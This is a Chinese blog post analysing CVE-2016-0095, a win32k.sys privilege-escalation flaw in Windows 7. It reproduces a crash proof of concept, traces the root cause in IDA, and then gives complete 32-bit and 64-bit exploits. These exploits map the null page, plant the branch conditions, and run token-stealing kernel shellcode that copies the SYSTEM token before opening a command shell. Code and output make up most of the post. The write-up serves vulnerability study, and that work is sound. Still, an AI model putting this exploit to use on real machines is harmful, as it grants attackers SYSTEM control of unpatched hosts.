• CVE-2016-0095提权漏洞分析


    1 前言

    瞻仰了k0shl和鹏哥 的漏洞分析,感慨万千,任重而道远。

    2 系统环境和工具

    • windows 7 32旗舰版

    • windbg

    3 poc

    3.1poc复现

    首先k0shl大佬给出的poc():

    /**
    * Author: bee13oy of CloverSec Labs
    * BSoD on Windows 7 SP1 x86 / Windows 10 x86
    * EoP to SYSTEM on Windows 7 SP1 x86
    **/

    #include <Windows.h>

    #pragma comment(lib, "gdi32.lib")
    #pragma comment(lib, "user32.lib")

    unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
    0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

    bitmap.bmBits = bits;

    SetLastError(NO_ERROR);

    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);

    return (unsigned int)hBitmap;
    }

    #define eSyscall_NtGdiSetBitmapAttributes 0x1110

    W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
    {
    __asm
    {
    push argv1;
    push argv0;
    push 0x00;
    mov eax, eSyscall_NtGdiSetBitmapAttributes;
    mov edx, addr_kifastsystemcall;
    call edx;
    add esp, 0x0c;
    }
    }

    void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
    }

    int _tmain(int argc, _TCHAR* argv[])
    {
    Trigger_BSoDPoc();
    return 0;
    }

    注意 这些地方可能需要稍作修改:

    • 首先是对NtGdiSetBitmapAttributes的重构定义中使用的W32KAPI:

      #ifndef W32KAPI
      #define W32KAPI DECLSPEC_ADDRSAFE
      #endif
    • 其次是KiFastSystemCall没有提供地址:

      //可以直接在函数内LoadLibrary之后使用GetProcAddress获取KiFastSystemCall地址。
      HMODULE _H_NTDLL = NULL;

      PVOID addr_kifastsystemcall = NULL;

      _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
      addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
      __asm
      {
          push argv1;
          push argv0;
          push 0x00;
          mov eax, eSyscall_NtGdiSetBitmapAttributes;
          mov edx, addr_kifastsystemcall;
          call edx;
          add esp, 0x0c;
      }

    生成并在 目标系统中运行,产生如下异常:

    1568897875975

    3.2 poc分析

    下面是poc的触发函数:

    void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
    }

    简述分析:

    这个漏洞和BitMap有关,触发漏洞所在流程:创建 bitmap--> 创建HDC设备-->绑定(选中)一个bitmap-->创建画刷,矩形-->使用FillRgn填充

    应该是前面几个步骤中的不当行为,在调用FillRgn的时候触发了漏洞.

    4 漏洞分析

    4.1 查看异常上下文

    首先查看 寄存器环境:

    1568902987053

    分析:

    可以看到 eax=0,导致了崩溃语句中 eax+24h是一个非法地址.

    栈回溯分析: 1568903006134

    看到几个关键函数以及偏移,接下来在IDA静态分析。

    4.2 使用IDA分析该模块

    通过IDA 加载win32k.sys 分析(注意加载符号文件):

    1568902909087

    看到和参数2有关,而参数二 是 EBRUSHOBJ * ,而且我们可以根据附近的上下文获得下面的关系式:

    [ [ [arg_4] +34h ] +1ch] + 24h ]

    arg_4 = ebp +0xc

    关系式还可以写成如下:

    [ [ [ ebp +0xc ] + 34h ] + 1ch] + 24h ]

    所以目前我们需要知道 EBRUSHOBJ:0x34 是什么类型的数据

    由于EBRUSHOBJ 是未公开的结构体,所以不好找缘由,只有追溯ERUSHOBJ* a2的来源:

    • 查看伪代码:可以看到下图中的伪代码界面,异常点和a2有关,a2参数 是一个EBRUSHOBJ* 类型数据。继续往上找a2 的来源。

      1569244793292

    • 追溯上一层分析:发现是刚才的a2 是 pvGetEngBrush(struct _BRUSHOBJ * a1) 调用时传入的参数 a1.

      1569244902159

    • 继续追溯上一层:

      1569245040647

      在本层查看局部变量v13的数据来源: 可以看到是 调用 EngBitBlt的时候传入的第9个参数 struct _BRUSHOBJ *a9

      1569245104601

    • 继续追溯上层:发现是 EngPaint() 的第三个参数 struct _BRUSHOBJ *a3

      1569245331220

    • 继续向上追溯:这里 我是分析完了再截的图,这里的 v5 是分析了vInitBrush() 才确定的关系,但是在这里我们可以看到 v18 是前面我们分析的 struct _BRUSHOBJ *a3;往上一看,有一个初始化v18的函数,这里就是关键处了。接下来我们查看vInitBrush()

      1569481806047

      vInitBrush():通过查看vInitBrush() ,可以看到 这里的this (前面的 v18 ), v18[13] 即 我们崩溃触发点的 a2[13] (前面回溯流程第一张图里)。那么奔溃数据源 就转移到了 vInitBrush() 的第6个参数 a6; 接下来返回上一层 查看 vInitBrush()的第6个参数数据。

      1569247692181

    • 可以看到 a6刚好 就是我们的 v5,而 v5 在这儿是 int类型所以 +16 在这儿就是简单的+16=10h. 而 根据最开始的分析异常崩溃处是 [a2[13]+7] ,这里 a2[13] 是一个指针,所以 +7 应该是数值上的+ 28 即 1ch, 而 a2[13] = 前面的a6 = v5 ,而 v5 +10h是一个 _SURFOBJ 结构体指针,所以 奔溃处的 [a2[13]+7] = v5 +1ch = _SUROBJ:0ch 。

      1569245519175

      而_SUROBJ 是一个公开的结构体:

      typedef struct _SURFOBJ {
        DHSURF dhsurf;
        HSURF  hsurf;
        DHPDEV dhpdev;
        HDEV   hdev;// 0ch ------- 找到了 是这里为 0 导致了错误的诞生。
       SIZEL  sizlBitmap;
        ULONG  cjBits;
        PVOID  pvBits;
        PVOID  pvScan0;
        LONG   lDelta;
        ULONG  iUniq;
        ULONG  iBitmapFormat;
        USHORT iType;
        USHORT fjBitmap;
      } SURFOBJ;

      可以看到 这个结构体中0ch 偏移处是 HDEV hdev.

    4.3 结论

    _SURFOBJ 结构体中 HDEV字段 hdev 为 0 导致了这个漏洞的产生,也即[EBRUSHOBJ:0x34]:0x1c 处为0 导致了这个漏洞

    所以可以得出结论是 hdev 没有正确得到初始化, 造成的这个漏洞的触发; 由于目前水平有限这里对内核函数(HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);不明白其dwflag = 0x89f 的意义。

    5 漏洞利用EXP

    5.1 分析提取可利用点

    由于这里win7 32/64 可以直接调用NtAllocateVirtualMemory申请零页内存,那么这里可以调用此函数申请内存,然后在特定位置放上我们的代码等着它call 就行了。

    那么哪里可利用点在哪里呢?

    梳理一下: 在异常之前,那些都是正常运行过来了,所以这里我们可以在异常崩溃所处的函数内部找那些 和 a2 (崩溃处的a2 --IDA中标识第二个参--即是 引发崩溃的数据来源)有关的 call, 这些call 即为可利用点。

    继续使用IDA按f5查看和a2相关的call,发现如下可利用点:

    1569507144839

    查看汇编层:

    1569510207824

    但是注意,前面有几个条件跳转语句,为了是执行流正常来到这里,我们必须将前面几个跳转语句过掉:

    整理之后发现有三处:

    1. if(! v23) 处不能为真

      1569508775049

      分析:

      这里可以看到 v20 = a2, v23 = *((WORD*)V20 + 712); 因为 v20 被强转成 WORD * 型, 所以在 V20 + 712 = (byte* )a2 + 712 *2 = a2 +590h.

      结论:

      word ptr [(byte *)a2 + 590h] != 0

    2. if(!*24) 处不能为真

      1569509050320

      分析:

      v24 = (WORD *)((char *)V20 +1426); 这里 V20 被强转成 char * 类型,所以 v24 = (char *) v20 + 1426 = (byte *)a2 + 592h;

      结论:

      word ptr [(byte *)a2 + 592h] != 0

    3. if(v26) 处必须为真

      1569509446624

      分析:

      在 v26 = a2[466] ; 因为 a2 是一个指针,所以 a2[466] = dword ptr [(byte *)a2 + 466*4] = dword ptr[ (byte*) a2 +748h];

      结论:

      所以 dword ptr[(byte*)a2 = 748h] !=0

    综上分析

    在以下条件处成立,即可利用 此处。

    word ptr [(byte *)a2 + 590h] != 0

    word ptr [(byte *)a2 + 592h] != 0

    dword ptr[(byte*)a2 = 748h] !=0

    5.2 利用原理

    win7 32/64 可以使用 NtAllocateVirtualMemory() 任意申请 0零页内存,而且还没有 SMEP(这里的知识是安全客上学的,还有HEVD), SMEP有点像DEP,是内核的一种缓解措施,我们可以将它简单的理解成禁止在内核态下执行用户空间的代码). 所以直接就能在 RING0 执行 RING3 的代码完成提权。

    这里提权的方式是将当前进程的Token 安全令牌换成系统的,即能实现切换到system 最高权限。

    5.3 利用实现

    (有些代码参考k0shl大佬的,因为原理流程是那样)

    1. 使用NtAllocateVirutalMemory() 申请0页内存,并设置前面分析的跳转条件通过

      // 定义函数原型
      typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE     ProcessHandle,
      IN OUT PVOID  *BaseAddress,
      IN ULONG      ZeroBits,
      IN OUT PULONG AllocationSize,
      IN ULONG      AllocationType,
      IN ULONG Protect);
      // 定义函数指针
      NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;

      // 通过LoadLibrary() 动态获取 NtAllocatVirtualMemory函数指针
      NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

      DWORD Virtual_BaseAddr = 1;// 不能为0 且0x小于1000
      DWORD RegionSize = 0x1000; // 申请的大小
      // 调用NtAllocateVirtualMemory()申请0页内存
      ULONG VirtualMemory_Result = NtAllocateVirtualMemory(
      (LPVOID)&Virtual_BaseAddr, // 为了申请 0页内存 基址不能为 0,0 标识随机 ,但是得小于0x1000
          0,//忽略
         &RegionSize,//0x1000 就够了
         MEM_RESERVE | MEM_COMMIT,
          PAGE_EXECUTE_READWRITE
      );
      // 设置关键条件跳转
      void* bypass_one = (void *)0x590;
      *(LPBYTE)bypass_one = 0x1;
      void* bypass_two = (void *)0x592;
      *(LPBYTE)bypass_two = 0x1;
      void* jump_addr  = (void *)0x748;// 这里 即 是 v26 利用点那儿
      *(DWORD*)jump_addr = XXXXXFunc_Addr;// 这里放目标跳转函数 提权代码
    2. 获取系统 token 换到当前进程

      int __stdcall StealToken(int x.int y,int z,int w)
      {
          __asm {
      // 保存寄存器环境
      pushad; save registers state

      xor eax, eax; Set zero
              // 由于 通过kifastsystemcall 调用系统服务 已经到0环来了,这时候的FS 放的是KPCR,切记
             // 这里获取的 CurrentThread 也即 当前的KTHREAD 线程环境
      mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
              // 通过 KTHREAD 获取EPROCESS, KTHREAD.ApcState.Process
      mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

              // 保存当前找到的EPROCESS -- >ECX
      mov ecx, eax; Copy current _EPROCESS structure
      //获取 token
      mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
              // system PID -- win7 的system pid = 4
      mov edx, SYSTEM_PID;
      // 循环遍历进程,查找PID 为4 的 system process
      SearchSystemPID:
              // _EPROCESS.ActiveProcessLinks.Flink -- 这个循环链保存着所有的进程EPROCESS
      mov eax, [eax + FLINK_OFFSET];
      // 减去偏移量来到 EPROCESS 基址
                 sub eax, FLINK_OFFSET
                  // 获取当前进程结构体中 保存的 PID
      cmp[eax + PID_OFFSET], edx;
                  // 判断是否是目标 进程 -- system   -- 如果不是就继续遍历
      jne SearchSystemPID

                  // 获取system 的token
      mov edx, [eax + TOKEN_OFFSET];
               // 拷贝system token 到当前进程的token
      mov[ecx + TOKEN_OFFSET], edx;
      // 恢复上下文环境
      popad; restore registers state
      }
      return 0;
      }

    5.4 在提权后弹一个shell 用以验证

    void PopShell()
    {
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcess(L"C:\Windows\System32\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    }

    5.5 完整提权EXP

    #include"pch.h"
    #include <Windows.h>
    #include <stdio.h>

    #pragma comment(lib, "gdi32.lib")
    #pragma comment(lib, "user32.lib")

    #ifndef W32KAPI
    #define W32KAPI DECLSPEC_ADDRSAFE
    #endif



    #define KTHREAD_OFFSET   0x124    // nt!_KPCR.PcrbData.CurrentThread
    #define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
    #define PID_OFFSET       0x0B4    // nt!_EPROCESS.UniqueProcessId
    #define FLINK_OFFSET     0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
    #define TOKEN_OFFSET     0x0F8    // nt!_EPROCESS.Token
    #define SYSTEM_PID 0x004 // SYSTEM Process PID


    int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
    __asm {
    ; initialize
    pushad; save registers state

    xor eax, eax; Set zero
    mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
    mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

    mov ecx, eax; Copy current _EPROCESS structure

    mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
    mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

    SearchSystemPID:
    mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
    sub eax, FLINK_OFFSET
    cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
    jne SearchSystemPID

    mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
    mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
    ; to current process
    popad; restore registers state
    }
    return 0;
    }

    typedef struct _GDICELL {
    LPVOID pKernelAddress;
    USHORT wProcessId;
    USHORT wCount;
    USHORT wUpper;
    USHORT wType;
    LPVOID pUserAddress;
    } GDICELL, *PGDICELL;

    unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    HBITMAP hBitmap;
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
    0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };

    bitmap.bmBits = bits;

    SetLastError(NO_ERROR);

    hBitmap = CreateBitmapIndirect(&bitmap);

    return (unsigned int)hBitmap;
    }

    #define eSyscall_NtGdiSetBitmapAttributes 0x1110;

    typedef NTSTATUS WINAPI NtAllocateVirtualMemory_t(IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect);

    W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
    {
    HMODULE _H_NTDLL = NULL;
    PVOID addr_kifastsystemcall = NULL;
    _H_NTDLL = LoadLibrary(TEXT("ntdll.dll"));
    addr_kifastsystemcall = (PVOID)GetProcAddress(_H_NTDLL, "KiFastSystemCall");
    __asm
    {
    push argv1;
    push argv0;
    push 0x00;
    mov eax, eSyscall_NtGdiSetBitmapAttributes;
    mov edx, addr_kifastsystemcall;
    call edx;
    add esp, 0x0c;
    }
    }

    void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);

    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);

    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);

    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
    }

    void PopShell()
    {
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    CreateProcess(L"C:\Windows\System32\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    }

    int main(int argc, char* argv[])
    {
    HANDLE hProcess;
    DWORD dwPID = GetCurrentProcessId();
    DWORD Virtual_BaseAddr = 1;
    SIZE_T RegionSize = 0x1000;

    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, dwPID);
    NtAllocateVirtualMemory_t *NtAllocateVirtualMemory;
    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t *)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
    ULONG VirtualMemory_Result = NtAllocateVirtualMemory(hProcess,
    (LPVOID*)&Virtual_BaseAddr,
    0,
    &RegionSize,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE);
    if (VirtualMemory_Result != 0x0)
    printf(" [!] Failed to allocate memory at BaseAddress, error: 0x%X ", VirtualMemory_Result);
    else {
    printf(" [*] Allocated memory at BaseAddress");
    }
    memset(0x0, 0, 0x1000);

    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
    Trigger_BSoDPoc();
    PopShell();
    return 0;
    }

    6 查看提权效果

    1569571159023

    7 升级为 64位 提权 EXP

    这里64位分析过程和32位类似,篇幅限制就不一一赘述了。

    7.1 解决vs64位汇编不支持内联的问题

    点击项目属性,按照下图索引

    1569571529068

    然后勾选上 masm ;即可 编译asm 文件,虽然不能支持内联,但是也能使用asm 中创建api 调用asm api 的方式替换。

    1569571602049

    7.2 win7-64位 分析 KiSystemCall64

    这里系统调用KifastCallentryshi32位中的的调用,在64位发生了改变,使用syscall ,KiSystemCall64:

    R10和R11是呼叫密集型暂存器。用asm编写的透明包装函数可以将它们用于暂存空间,而不会干扰RCX,RDX,R8,R9中的任何args,并且无需在任何地方保存/恢复保留调用的寄存器。

    R12..R15是调用保留的寄存器,您可以将其用于任何需要的寄存器,只要在返回之前保存/恢复它们即可。

    R10和R11还是x86-64 SysV中的非参数传递调用对象寄存器。有趣的事实2:syscall 破坏 R11(和RCX),因此Linux使用R10而不是RCX来将参数传递给系统调用,但否则使用与用户空间函数调用相同的register-arg传递约定

    1569574656234

    还是查看一下 KiSystemCall64 满足以下好奇心:

    syscall是AMD CPU下的sysenter,以此进入内核层,由于64位下没有nt!KiFastCallEntry,而改用的是nt!KiSystemCall64,在64位系统下启用了四个新的MSR寄存器,有不同的作用,其中MSR_LSTAR保存的是rip的相关信息,可以通过rdmsr c0000082的方法查看到syscall跳转地址。这个地址正是nt!KiSystemCall64的入口地址。

    32位与64位call地址的区别见:加密解密4 543页

    前置: ntdll!NtCreateDebugObject: 00000000`76d70680 4c8bd1 mov r10,rcx 00000000`76d70683 b890000000 mov eax,90h 00000000`76d70688 0f05 syscall 00000000`76d7068a c3 ret

    syscall { rcx = rip; /* save rip for syscall return / r11 = rflags; / save rflags to r11 / ... jmp MSR_LSTAR; / MSR_LSTAR = __readmsr(0xC0000082); */ }

    • 所以分析kiSystemcall64 (参看看雪论坛):

      nt!KiSystemCall64:
      fffff800`03ee5640 0f01f8         swapgs//交换MSR(c0000101)GS基址与MSR(C0000102)-内核GS //基址KPCR
      fffff800`03ee5643 654889242510000000 mov   qword ptr gs:[10h],rsp//保存用户态栈
      fffff800`03ee564c 65488b2425a8010000 mov   rsp,qword ptr gs:[1A8h]//切换到内核栈
      fffff800`03ee5655 6a2b           push   2Bh
      fffff800`03ee5657 65ff342510000000 push   qword ptr gs:[10h]
      fffff800`03ee565f 4153           push   r11//rflags --intel手册有说明
      fffff800`03ee5661 6a33           push   33h
      fffff800`03ee5663 51             push   rcx//保存的是用户态syscall的下一条指令
      fffff800`03ee5664 498bca         mov     rcx,r10//把系统调用的第一个参数重新赋值给ecx
      fffff800`03ee5667 4883ec08       sub     rsp,8
      fffff800`03ee566b 55             push   rbp
      ....
      .text:000000014007F800 :
      .text:000000014007F800           and     eax, 0Fh       ; 取系统调用参数个数
      .text:000000014007F803           jz     KiSystemServiceCopyEnd
      .text:000000014007F809           shl     eax, 3         ; 参数个数*8
      .text:000000014007F80C           lea     rsp, [rsp-70h]
      .text:000000014007F811           lea     rdi, [rsp+190h+var_178]

      ....
      .text:000000014007F840 loc_14007F840:
      .text:000000014007F840           lea     r11, KiSystemServiceCopyEnd
      .text:000000014007F847           sub     r11, rax //eax = 参数个数*8
      .text:000000014007F84A           jmp     r11 //r11指向的代码会拷贝系统调用的参数到内核栈;
      .text:000000014007F84A                         // 每向上8字节代码,多拷贝一个参数

      ....
      .text:000000014007F8C0 KiSystemServiceCopyEnd:               
      .text:000000014007F8C0                 test   cs:dword_140207688, 40h ; 性能计数的开关
      .text:000000014007F8CA                 jnz     loc_14007FB20
      .text:000000014007F8D0                 call   r10             ; call系统调用

    注:这里不知道具体怎么系统调用的,所以我看了以下gdi32.dll的源码如下:

    可以看到在SetBitmapAttributes中调用了NtGdiBitmapAttributes,那我们直接分析SetBitmapAttributes。

    1569590740489

    还说分析一下的,结果直接加载符号用IDA 查看 就出来了:

    1569590378756

    7.3 升级EXP

    1569572386450

    调整后的asm 文件如下:(这里使用 https://www.vergiliusproject.com/kernels 查看的结构体偏移,eprocess链接: https://www.vergiliusproject.com/kernels/x64/Windows%207%20%7C%202008R2/RTM/_EPROCESS

    // 调整后的 exp 汇编代码 文件:
    public NtGdiSetBitmapAttributes
    public ShellCode

    _TEXT SEGMENT
    NtGdiSetBitmapAttributes PROC
    mov r10,rcx;
    mov eax,125fh;
    syscall;
    ret;
    NtGdiSetBitmapAttributes ENDP
    ShellCode PROC
    push rdx
    push rdi
    push rcx
    mov   rax,qword ptr gs:[188h]
    mov   rax,qword ptr [rax+70h]
    mov rdi, rax ;rdi--> currentprocess's EPROCESS
    mov rdx, qword ptr [rax + 188h] ;rdx --> flink
    _begin :
    mov rcx, qword ptr[rdx - 8]
    cmp rcx, 4
    jz _end
    mov  rdx, qword ptr [rdx]
    jmp _begin
    _end :
    mov rax, qword ptr[rdx + 80h] ;set system process's
    mov qword ptr[rdi + 208h], rax
    pop rcx
    pop rdi
    pop rdx
    ret
    ShellCode ENDP
    END
    // 调整后的exp.cpp
    #include"pch.h"
    #include <Windows.h>
    #pragma comment(lib, "gdi32.lib")
    #pragma comment(lib, "user32.lib")

    EXTERN_C HBITMAP NTAPI NtGdiSetBitmapAttributes(HBITMAP argv0, DWORD argv1);
    EXTERN_C ULONG64 ShellCode();

    typedef void* (WINAPI* MYWINAPIPTR)(void);

    unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
    }

    void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);

    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
    }

    int __stdcall Call(int one, int two, int three, int four)
    {
    ShellCode();
    return 0;
    }

    typedef __kernel_entry NTSYSCALLAPI NTSTATUS (*fnNtAllocateVirtualMemory)(
    HANDLE    ProcessHandle,
    PVOID     *BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
    );

    void NullPageAlloc()
    {
    HMODULE hntdll = GetModuleHandle(TEXT("ntdll"));
    fnNtAllocateVirtualMemory NtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hntdll, "NtAllocateVirtualMemory");
    PVOID addr = (PVOID)0x100;
    ULONG64 size = 0x1000;
    HANDLE xx = GetCurrentProcess();
    NtAllocateVirtualMemory(xx,&addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    DWORD * p = NULL;
    memset(0x0, 0, 0x1000);

    void* bypass_one = (void *)0x858;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x85A;
    *(LPBYTE)bypass_two = 0x1;

    void* call_addr = (void *)0xA98;
    *(LPVOID*)call_addr = (LPVOID)Call;
    }

    int main()
    {
    NullPageAlloc();
    Trigger_BSoDPoc();
    system("cmd");
    return 0;
    }

    8 查看64位下提权结果

    1569587643803


  • 相关阅读:
    IIS中安全证书更新
    mac权限相关命令
    Nlog配置Seq日志服务
    WPF Prism8.0中注册Nlog日志服务
    .NET MAUI Preview7 状态预览(8月)
    RPA剖析浏览器API(获取指定页面数据)
    .NET Core Worker Service
    .NET MAUI Preview6 状态预览(7月)
    Digicert GeoTrusy Cloud DV
    【Tomcat8】开启Https及挂载静态文件
  • 原文地址:https://www.cnblogs.com/leibso-cy/p/11718008.html
Copyright © 2020-2023  润新知